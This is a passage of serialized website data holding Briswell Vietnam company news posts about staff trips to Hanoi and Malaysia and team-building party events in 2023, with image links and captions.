capital.",[438,3773],{"className":3774,"alt":66,"src":3775,"style":1098},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2024\u002F10\u002F24105521\u002Fbun-cha-ha-noi-03-768x908.jpg",[11,3777,3778],{},"Hanoi beer is an icon of the capital's culture, the soul of gatherings with friends. Everyone raises their glasses together, sharing memorable moments.",[438,3780],{"className":3781,"alt":66,"src":3782,"style":444},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2024\u002F10\u002F24105517\u002F460638472_8467118276683142_8251668091009759416_n-1024x768.jpg",[11,3784,3785],{},"Cozying up in a small cafe, sipping a hot egg coffee, the rich aroma filled the air, and feeling a sense of warmth. Each smooth, flavorful sip brought comfort and melted away all the worries.",[11,3787,3788,3792,507,3794],{},[438,3789],{"className":3790,"alt":66,"src":3791,"style":1098},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2024\u002F10\u002F24105643\u002FUntitled-design-11-768x768.png",[473,3793],{},[438,3795],{"className":3796,"alt":66,"src":3797,"style":444},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2024\u002F10\u002F24110232\u002Fimage-3-1024x768.png",[11,3799,3800],{},"The One Pillar Pagoda - stands as a serene lotus flower in the midst of Hanoi and brings a sense of peace and tranquility.",[11,3802,3803,3807],{},[438,3804],{"className":3805,"alt":66,"src":3806,"style":444},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2024\u002F10\u002F24105616\u002FUntitled-design-4-1152x1536.png",[473,3808],{},[438,3810],{"className":3811,"alt":66,"src":3812,"style":444},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2024\u002F10\u002F24110857\u002FUntitled-design-5-1024x768.png",[11,3814,3815],{},"The whole family visited Ho Chi Minh’s Mausoleum. A solemn and respectful atmosphere filled the space and everyone felt a sense of calm, wanted to express their deep gratitude to the beloved President.",[11,3817,3818,3822],{},[438,3819],{"className":3820,"alt":66,"src":3821,"style":444},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2024\u002F10\u002F24110516\u002FDSC_0004-1-1024x680.jpg",[473,3823],{},[11,3825,3826,3830],{},[438,3827],{"className":3828,"alt":66,"src":3829,"style":444},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2024\u002F10\u002F24105535\u002FUntitled-design-1-1152x1536.png",[473,3831],{},[11,3833,3834,3838],{},[438,3835],{"className":3836,"alt":66,"src":3837,"style":444},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2024\u002F10\u002F24105554\u002FUntitled-design-2-1152x1536.png",[473,3839],{},[438,3841],{"className":3842,"alt":66,"src":3843,"style":444},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2024\u002F10\u002F24105602\u002FUntitled-design-3-1152x1536.png",[11,3845,3846],{},"Tam Chuc Pagoda leaves everyone in awe with its majestic natural beauty and exquisite architecture.",[438,3848],{"className":3849,"alt":66,"src":3850,"style":444},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2024\u002F10\u002F24105635\u002FUntitled-design-8.png",[11,3852,3853],{},"Enjoying dinner together at a restaurant.",[438,3855],{"className":3856,"alt":66,"src":3857,"style":444},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2024\u002F10\u002F24105654\u002Fz5859754767327_a151475f70ba59c502a2b5d65003a467-1152x1536.jpg",[11,3859,3860],{},"The Briswell family album has gained a vibrant new chapter filled with images and stories from Hanoi. We hope that our future adventures will bring even more exciting surprises. Stay tuned!",{"title":66,"searchDepth":67,"depth":67,"links":3862},[],"2024-10-28","Hanoi Adventure: The Briswell Family's 3-Day Getaway. Ever wondered what the Briswell family got up to during our 3-day Hanoi adventure? Let's dive into our exciting journey and discover what made the city so captivating for us.",{},"\u002Fnews\u002Fdu-lich-cong-ty-nam-2024-hanh-trinh-kham-pha-thu-do-ha-noi",{"title":3746,"description":3864},"news\u002Fdu-lich-cong-ty-nam-2024-hanh-trinh-kham-pha-thu-do-ha-noi","https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2024\u002F10\u002F28160808\u002Fcompany-trip-2.png","JjpqmkCDgKEOSxdc1zlYlVundU_UEillojpwUcyK3Xo",{"id":3872,"title":3873,"body":3874,"category":2999,"created by":3000,"date":4083,"description":4084,"extension":72,"meta":4085,"navigation":74,"path":4086,"sections":76,"seo":4087,"stem":4088,"thumbnail":4089,"__hash__":4090},"content_en\u002Fnews\u002Fdu-lich-cong-ty-nam-2025-kuala-lumpur-malaysia.md","COMPANY TRIP 2025 - MALAYSIA",{"type":8,"value":3875,"toc":4081},[3876,3879,3882,3885,3890,3895,3898,3901,3905,3908,3912,3915,3918,3922,3925,3933,3937,3940,3952,3957,3960,3972,3975,3979,3982,3985,3993,3997,4000,4005,4008,4011,4019,4031,4034,4038,4041,4049,4053,4056,4059,4063,4066,4070,4075,4078],[11,3877,3878],{},"After days of chasing deadlines, what can help us recharge our energy the fastest? The answer is none other than… A trip!",[11,3880,3881],{},"And, Briswell is back with a promising adventure!",[11,3883,3884],{},"What awaits? Follow Briswell to find out!",[11,3886,3887],{},[20,3888,3889],{},"Briswell Vietnam - 3 Days 2 Nights: A Malaysia Discovery Journey Full of Experiences.",[11,3891,3892],{},[20,3893,3894],{},"Day 1 - The adventure begins in Malaysia",[11,3896,3897],{},"Departing from Ho Chi Minh City, after a few hours of flying, we arrived in Kuala Lumpur, Malaysia’s most vibrant and modern hub.",[11,3899,3900],{},"But without lingering too long, we quickly set off to Malacca - an ancient city marked by a rich blend of Eastern and Western history and culture.",[438,3902],{"className":3903,"alt":66,"src":3904,"style":444},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2025\u002F10\u002F07165451\u002FBia-1024x659.jpg",[11,3906,3907],{},"Here, we visited Dutch Square - a place that preserves the traces of European civilizations that once set foot on this land.",[438,3909],{"className":3910,"alt":66,"src":3911,"style":444},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2025\u002F10\u002F07165626\u002Fqtr-ha-lan-1024x573.jpg",[11,3913,3914],{},"Malacca, where every street corner tells a story.",[11,3916,3917],{},"Jonker Street - the heart of Malacca, filled with small, charming shops, each with its own unique character.",[438,3919],{"className":3920,"alt":66,"src":3921,"style":444},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2025\u002F10\u002F07171057\u002Fz6903131197020_6cfd8e7b49e866080a4beb5c0333a99a-1024x576.jpg",[11,3923,3924],{},"St. Paul’s Church - an ancient building perched atop Bukit Melaka Hill, offering stunning views of the city below.",[11,3926,3927,3931],{},[438,3928],{"className":3929,"alt":66,"src":3930,"style":444},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2025\u002F10\u002F07171305\u002Fz6903229292104_4381ec6cefc5d468f342f950585a702e-1024x576.jpg",[473,3932],{},[438,3934],{"className":3935,"alt":66,"src":3936,"style":444},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2025\u002F10\u002F08135519\u002FImage-from-iOS-1024x768.jpg",[11,3938,3939],{},"A'Famosa Fortress - a historic relic from the Portuguese colonial era.",[11,3941,3942,3946,507,3948],{},[438,3943],{"className":3944,"alt":66,"src":3945,"style":444},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2025\u002F10\u002F07165426\u002F7-1152x1536.png",[473,3947],{},[438,3949],{"className":3950,"alt":66,"src":3951,"style":444},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2025\u002F10\u002F07165353\u002F6-1152x1536.png",[11,3953,3954],{},[20,3955,3956],{},"Day 2 - From Sacred Place to the “City That Never Sleeps”",[11,3958,3959],{},"Starting our day with a soulful journey to Batu Caves - a convergence of natural beauty, Hindu culture and unforgettable spiritual experiences in the heart of Malaysia.",[11,3961,3962,3966,3968],{},[438,3963],{"className":3964,"alt":66,"src":3965,"style":444},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2025\u002F10\u002F07165644\u002FUntitled-design-1-953x1024.png",[473,3967],{},[438,3969],{"className":3970,"alt":66,"src":3971,"style":444},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2025\u002F10\u002F07165727\u002FUntitled-design-1152x1536.png",[11,3973,3974],{},"In front of your eyes are 272 vividly colored steps leading up to the cave set within a majestic cliff. The climb might feel a little tiring, but no visitor would want to miss the chance to conquer this iconic site.",[438,3976],{"className":3977,"alt":66,"src":3978,"style":444},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2025\u002F10\u002F07165446\u002Fbac-thang-901x1024.png",[11,3980,3981],{},"Leaving Batu Caves, our group headed to the next destination: Genting Highlands - known as the \"Las Vegas of Asia\".",[11,3983,3984],{},"Look at this dazzling view!",[11,3986,3987,3991],{},[438,3988],{"className":3989,"alt":66,"src":3990,"style":444},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2025\u002F10\u002F08131604\u002Fcasino-1-895x1024.png",[473,3992],{},[438,3994],{"className":3995,"alt":66,"src":3996,"style":444},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2025\u002F10\u002F08131718\u002Fz6906341971528_88b814cf8c2567babd1d48423e3fb507-1024x846.jpg",[11,3998,3999],{},"Here, we are free to enjoy ourselves - having fun, shopping, and exploring the famous entertainment area, Genting Casino. The chilly air mixed with the lively crowds, the illuminated signs make this place feel like a true “city that never sleeps”. Some try their luck, others simply unwind, but everyone discovers their own kind of joy.",[11,4001,4002],{},[20,4003,4004],{},"The Last Day - Ending with unforgettable impressions",[11,4006,4007],{},"On our final day in Malaysia, we seized the chance to wrap up with a series of iconic attractions before heading back to Vietnam.",[11,4009,4010],{},"Thean Hou Temple - an ancient temple located in the city center, deeply reflecting the richness of Chinese cultural heritage.",[11,4012,4013,4017],{},[438,4014],{"className":4015,"alt":66,"src":4016,"style":444},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2025\u002F10\u002F07165433\u002F2025-1024x765.jpg",[473,4018],{},[11,4020,4021,4025,4027],{},[438,4022],{"className":4023,"alt":66,"src":4024,"style":444},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2025\u002F10\u002F07165552\u002Fchua-1152x1536.png",[473,4026],{},[438,4028],{"className":4029,"alt":66,"src":4030,"style":444},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2025\u002F10\u002F08131911\u002Fz6908508263025_c6f16d305b51405bb75fff8ca367cc0b-1024x576.jpg",[11,4032,4033],{},"Petronas Twin Towers - Malaysia’s most iconic landmark, where everyone takes the opportunity to capture unforgettable photos against this legendary backdrop. Truly a must-see and must-check-in spot!",[438,4035],{"className":4036,"alt":66,"src":4037,"style":444},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2025\u002F10\u002F07165700\u002FUntitled-design-2-1046x2048.png",[11,4039,4040],{},"Putrajaya Square, a large and open space, is filled with soft, glowing light.",[11,4042,4043,4047],{},[438,4044],{"className":4045,"alt":66,"src":4046,"style":444},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2025\u002F10\u002F07165602\u002FIMG_7989-1024x768.jpg",[473,4048],{},[438,4050],{"className":4051,"alt":66,"src":4052,"style":444},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2025\u002F10\u002F07165359\u002F7-1024x674.jpg",[11,4054,4055],{},"From the center of the square, you can enjoy a stunning view of the iconic architectural landmarks surrounding it.",[11,4057,4058],{},"Standing proudly is Perdana Putra - the Prime Minister’s office with its distinctive green dome and design deeply influenced by Islamic aesthetics.",[438,4060],{"className":4061,"alt":66,"src":4062,"style":444},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2025\u002F10\u002F08132203\u002Fz6909717241921_add6abee44a0c8a2b9b0db3ea26a359b-1024x576.jpg",[11,4064,4065],{},"The Putra Mosque stands out with its iconic pastel pink architecture.",[438,4067],{"className":4068,"alt":66,"src":4069,"style":444},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2025\u002F10\u002F07165621\u002FNha-tho-1152x1536.png",[11,4071,4072],{},[20,4073,4074],{},"Journey ends - Memories last forever",[11,4076,4077],{},"From the hearty laughs, the \"all-out\" check-in photos, to the lively conversations on the road or the moments of sharing experiences, every detail came together to create unforgettable memories.",[11,4079,4080],{},"Who knows, maybe one day soon we will pack our bags once again, ready for another adventure. Until then, see you on the next journey!",{"title":66,"searchDepth":67,"depth":67,"links":4082},[],"2025-10-08","After days of chasing deadlines, what can help us recharge our energy the fastest? The answer is none other than… A trip! And, Briswell is back with a promising adventure! What awaits? Follow Briswell to find out! Briswell Vietnam – 3 Days 2 Nights: A Malaysia Discovery Journey Full of Experiences. Day 1 – The adventure begins in Malaysia Departing from Ho Chi Minh City",{},"\u002Fnews\u002Fdu-lich-cong-ty-nam-2025-kuala-lumpur-malaysia",{"title":3873,"description":4084},"news\u002Fdu-lich-cong-ty-nam-2025-kuala-lumpur-malaysia","https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2025\u002F10\u002F08111953\u002FBia-2025-5.png","KnpEUVEpDU8wji85NxicvCxnHyfqyRi-wnU9QMVbwts",{"id":4092,"title":4093,"body":4094,"category":2999,"created by":4169,"date":4170,"description":4171,"extension":72,"meta":4172,"navigation":74,"path":4173,"sections":76,"seo":4174,"stem":4175,"thumbnail":4176,"__hash__":4177},"content_en\u002Fnews\u002Fevent-party-thang-03-2023.md","EVENT PARTY March 2023",{"type":8,"value":4095,"toc":4167},[4096,4104,4107,4111,4114,4118,4121,4133,4138,4146,4150,4155,4163],[31,4097,4098,4101],{},[34,4099,4100],{},"After the Lunar New Year holiday, the event party in March 2023 has returned, members of the Briswell family have the opportunity to experience minigames and enjoy new dishes at a completely new location that is Buk Buk Korean Street Grilled Buffet.",[34,4102,4103],{},"Join together in team games like A tale never loses in the telling, Build Tower to Find Spy requires the player's attention, sensitivity, trust and cooperation to bring victory together and of course, there will be a winning reward for the members' great coordination.",[11,4105,4106],{},"Here are the prizes for the winners.",[438,4108],{"className":4109,"alt":66,"src":4110,"style":444},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F04\u002F10152536\u002F20230321_150953-2048x1536.jpg",[11,4112,4113],{},"The tale never loses in the telling game and the contestants' drawings.",[438,4115],{"className":4116,"alt":66,"src":4117,"style":444},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F04\u002F10171751\u002F20230321_151850-2048x1068.jpg",[11,4119,4120],{},"And  the towers",[11,4122,4123,4127,4129],{},[438,4124],{"className":4125,"alt":66,"src":4126,"style":444},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F04\u002F10172437\u002F20230321_160140-1152x1536.jpeg",[473,4128],{},[438,4130],{"className":4131,"alt":66,"src":4132,"style":444},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F04\u002F10173327\u002F20230321_160157-scaled-1152x1536.jpeg",[31,4134,4135],{},[34,4136,4137],{},"It's time to leave work, the road is crowded with traffic, the cool weather in the evening is the most suitable time for the familiar, radiant faces of the Briswell family to meet face-to-face and chat under the smoke of the barbecue.",[11,4139,4140,4144],{},[438,4141],{"className":4142,"alt":66,"src":4143,"style":444},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F04\u002F11085658\u002FIMG_0986-1024x819.jpg",[473,4145],{},[438,4147],{"className":4148,"alt":66,"src":4149,"style":444},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F04\u002F11085650\u002FIMG_0985-1024x793.jpg",[31,4151,4152],{},[34,4153,4154],{},"The image of people eating, talking, and visiting each other with crispy laughter in their ears. The event was fun and meaningful, let's work together to have more party events like this, the Briswell family!",[11,4156,4157,4161],{},[438,4158],{"className":4159,"alt":66,"src":4160,"style":444},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F04\u002F11085712\u002FIMG_0988-1024x793.jpg",[473,4162],{},[438,4164],{"className":4165,"alt":66,"src":4166,"style":444},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F04\u002F11085706\u002FIMG_0987-1024x791.jpg",{"title":66,"searchDepth":67,"depth":67,"links":4168},[],"THANH CHAU LAI GIA","2023-04-18","After three months of waiting, Briswell Vietnam brings to its employees an interesting and meaningful event. August is not only the last month of summer but also the month leading up to the upcoming Mid-Autumn Festival. This is a great opportunity for us to rest and unwind after work pressures, as well as bond and share with wonderful and friendly colleagues. Let’s enjoy a colorful and joyful party with Briswell Vietnam! 🥂🎊🎈.",{},"\u002Fnews\u002Fevent-party-thang-03-2023",{"title":4093,"description":4171},"news\u002Fevent-party-thang-03-2023","https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F04\u002F14125257\u002F20230321_160157-1-scaled-e1681452352766.jpeg","Uk8gSCBtKbKAexaIu72xaaNbvLG35V7mPJvT6WECyws",{"id":4179,"title":4180,"body":4181,"category":2999,"created by":4309,"date":4310,"description":4171,"extension":72,"meta":4311,"navigation":74,"path":4312,"sections":76,"seo":4313,"stem":4314,"thumbnail":4315,"__hash__":4316},"content_en\u002Fnews\u002Fevent-party-thang-08-2023.md","EVENT PARTY in 08.2023",{"type":8,"value":4182,"toc":4307},[4183,4185,4188,4192,4196,4199,4203,4207,4210,4214,4218,4221,4225,4229,4232,4236,4240,4243,4246,4250,4254,4257,4261,4265,4268,4272,4276,4279,4283,4287,4291,4295,4298,4301,4304],[11,4184,4171],{},[11,4186,4187],{},"The event starts with the game “King of Vietnamese” which gives players a word or a sentence with scrambled characters or words. The game has 4 teams, each team competes with each other for 5 minutes. The team that gives the most correct answers wins. This game is designed to test the player’s understanding and use of Vietnamese. It is an interesting and attractive game, giving players a sense of excitement and challenge when competing with other opponents 💪.",[438,4189],{"className":4190,"alt":66,"src":4191,"style":1894},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F08\u002F24160119\u002Fimage.png",[11,4193,4195],{"className":4194},[2463,2464,2465,2466,2467],"\nRules of the game King of Vietnamese\n",[11,4197,4198],{},"In the first round, Team 1 showed their superiority with a score of 12-3. The members of Team 1 were extremely excellent when they gave very fast and accurate answers, making everyone amazed.",[438,4200],{"className":4201,"alt":66,"src":4202,"style":1894},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F08\u002F25092558\u002Fz4632813375395_56f15f450dbef634e7ba3142d5191457-768x576.jpg",[11,4204,4206],{"className":4205},[2463,2464,2465,2466,2467],"\nTeam 1 members\n",[11,4208,4209],{},"The match between Team 3 and Team 4 is the next part of the competition. This confrontation was very tense and exciting, and in the end, Team 4 won with a score of 8-7.",[438,4211],{"className":4212,"alt":66,"src":4213,"style":1894},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F08\u002F25092713\u002Fz4632813339804_bfe5ba0722bcbc843666d7c2ee29c258-768x576.jpg",[11,4215,4217],{"className":4216},[2463,2464,2465,2466,2467],"\nThe competition between Team 3 and Team 4\n",[11,4219,4220],{},"The step to the final is the tense match between Team 1 and Team 4. In this final match, there were extremely difficult questions that even the organizers could not remember what the answer was, questions that made everyone silent and thinking.",[438,4222],{"className":4223,"alt":66,"src":4224,"style":1894},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F08\u002F25091414\u002Fz4632813317396_f343a7ee1019ef7c2aeb5c33b86c044e-768x576.jpg",[11,4226,4228],{"className":4227},[2463,2464,2465,2466,2467],"\nEveryone is focused on the exciting final match.\n",[11,4230,4231],{},"The confrontation between the two teams was quite balanced until the last questions, Team 1 answered correctly many consecutive questions to win the final with a score of 8-6.",[438,4233],{"className":4234,"alt":66,"src":4235,"style":1894},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F08\u002F25084158\u002Fz4632813255440_ad0a7c28c5c9575521db95761fd76c2a-768x576.jpg",[11,4237,4239],{"className":4238},[2463,2464,2465,2466,2467],"\nThe image of Team 1 happily smiling when receiving the program’s award\n\n",[11,4241,4242],{},"Our second game is the keyword guessing game, a fun and creative game 🎨. Each team will have one person on stage, this person will use body language and facial expressions to describe the keyword for other members of the team to guess. Within 5 minutes, the team that guesses the most keywords will win 🏆.",[11,4244,4245],{},"Starting with Team 1’s play, although they were the first team to play, Team 1 showed no hesitation when they correctly guessed 9\u002F15 questions within 5 minutes.",[438,4247],{"className":4248,"alt":66,"src":4249,"style":1894},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F08\u002F25093246\u002Fz4632813243843_125f2a72f6835e79d7fed18dcc43df3f-768x576.jpg",[11,4251,4253],{"className":4252},[2463,2464,2465,2466,2467],"\nThe competition of Team 1\n",[11,4255,4256],{},"The second team encountered a very difficult set of keywords, causing them to have difficulty guessing. They could only answer 7\u002F15 questions correctly within 5 minutes.",[438,4258],{"className":4259,"alt":66,"src":4260,"style":1894},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F08\u002F25093104\u002Fz4632813210762_9c8d45c1c27d3bb8aa6e55d9eb9d9ff2-768x576.jpg",[11,4262,4264],{"className":4263},[2463,2464,2465,2466,2467],"\nThe competition of Team 2\n",[11,4266,4267],{},"For the third team, with their lively performance and accurate judgment, they brilliantly guessed 14\u002F15 keywords within 5 minutes.",[438,4269],{"className":4270,"alt":66,"src":4271,"style":1894},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F08\u002F25085710\u002Fz4632813210889_01d9be5a874bbc7454264e9e94b11e28-768x576.jpg",[11,4273,4275],{"className":4274},[2463,2464,2465,2466,2467],"\nThe competition of Team 3\n",[11,4277,4278],{},"Surprisingly, just when it seemed that Team 3 had almost secured the win by answering 14\u002F15 questions correctly, the appearance of Team 4 with 15\u002F15 correct answers defeated and became the winning team in game 2 of this event party.",[438,4280],{"className":4281,"alt":66,"src":4282,"style":1894},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F08\u002F25131337\u002Fz4632813191059_cf655dc7dfc3aaa139fd7499bfed9699-768x576.jpg",[11,4284,4286],{"className":4285},[2463,2464,2465,2466,2467],"\nThe competition of Team 4\n",[438,4288],{"className":4289,"alt":66,"src":4290,"style":1894},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F08\u002F25084751\u002Fz4632813195607_3833144a7b951fc3bceafad54a8efa65-768x576.jpg",[11,4292,4294],{"className":4293},[2463,2464,2465,2466,2467],"\nThe members are overjoyed when receiving the winning prize from the program\n",[11,4296,4297],{},"After the end of the second game, it is also time for lunch. The hot atmosphere of the sunny summer noon is very suitable for everyone to go into an air-conditioned restaurant to enjoy. The lucky restaurant this time is Bếp cuốn, where there are delicious traditional specialties of Vietnam.",[11,4299,4300],{},"In addition, at this event, Briswell Vietnam welcomes 4 new members from the Dev team. All of them are interns who have become official employees of the company. We hope them will work hard, learn a lot of experience, and contribute to the development of Briswell Vietnam. Congratulations on becoming a part of the Briswell family! 🎉🎉🎉.",[11,4302,4303],{},"The August 2023 event party of the company has ended in joy and happiness. We had wonderful moments together, going through challenges and completing tasks. This is a great opportunity for us to bond and understand each other better. Thank you to all members for participating and contributing to the success of the event 👏.",[11,4305,4306],{},"Wish everyone always happy and happy! 😊 And let’s look forward to the next event! 🎉",{"title":66,"searchDepth":67,"depth":67,"links":4308},[],"DONG LE VAN","2023-09-29",{},"\u002Fnews\u002Fevent-party-thang-08-2023",{"title":4180,"description":4171},"news\u002Fevent-party-thang-08-2023","https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F08\u002F25085243\u002Fz4632813238716_16ac37851256941a965fc29d809a15dd-2048x1536.jpg","ADaMIb600kc_XpTiP3qzbFkoL8gDBHfdba4XbN6u-84",{"id":4318,"title":4319,"body":4320,"category":2999,"created by":70,"date":4422,"description":4324,"extension":72,"meta":4423,"navigation":74,"path":4424,"sections":76,"seo":4425,"stem":4426,"thumbnail":4427,"__hash__":4428},"content_en\u002Fnews\u002Fevent-thang-05-2023-event-dau-he.md","Event May 2023 - Summer Beginning Event",{"type":8,"value":4321,"toc":4420},[4322,4325,4328,4331,4334,4338,4342,4345,4349,4353,4357,4361,4364,4367,4371,4375,4383,4387,4391,4395,4399,4402,4405,4413,4417],[11,4323,4324],{},"For working people, the concept of summer might no longer brings a sense of excitement and anticipation. Because it doesn't have any difference with other season like it used to be when we were a child, we still need to wake up, dress up and go to work. Sometimes we only startle to realize that summer has come when we hear the sound of cicadas tinkling through the trees on the way back home after a long day at the office.",[11,4326,4327],{},"Briswell Vietnam's event this time was held at the end of May - the beginning of summer and also very close to International Children's Day (June 1st). We wonder if the \"adults\" in our company still remember their childhood feelings? With the desire to help our member return to their childhood, partly forget about the hardships and pressures in life, we organized games which tatses like those bygone years. So, how did our event go? Read on to follow along!",[11,4329,4330],{},"The opening game is a witty and funny game named \"Chase pictures catch letters\". Perhaps everyone is no more stranger to this game as it was used to be a famous TV gameshow in the early 2000s, hosted by famous comedian Uncle Xuan Bac. Maybe that's why members were able to grasp the rules of the game and find out the correct answers very quickly. On television, players participated in individuals. But in Briswell Vietnam, we played team to improve teamwork and increase cohesion among members.",[11,4332,4333],{},"In the first round, the competion was concluded with a score of 6-4. In the very beginning questions, the overall winner looked like they were being left behind but then quickly caught up and took the lead. What a fascinating battle!",[438,4335],{"className":4336,"alt":66,"src":4337,"style":1894},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F06\u002F09143828\u002Fh1-2.png",[11,4339,4341],{"className":4340},[2463,2464,2465,2466,2467],"\nThe two teams in the first round are competing\n",[11,4343,4344],{},"In the second round, despite the increase in the number of questions, everyone kept their form throughout the match and ended with the score of 12-8. After determining the winner and loser, there was a super difficult questions that even the game designer couldn't find the answer. So, we asked for the help of the teams. Although we couldn't solve it yet, we had been able to deduce together, ignore the win and lose, contribute to strengthen the solidarity in the Briswell Vietnam 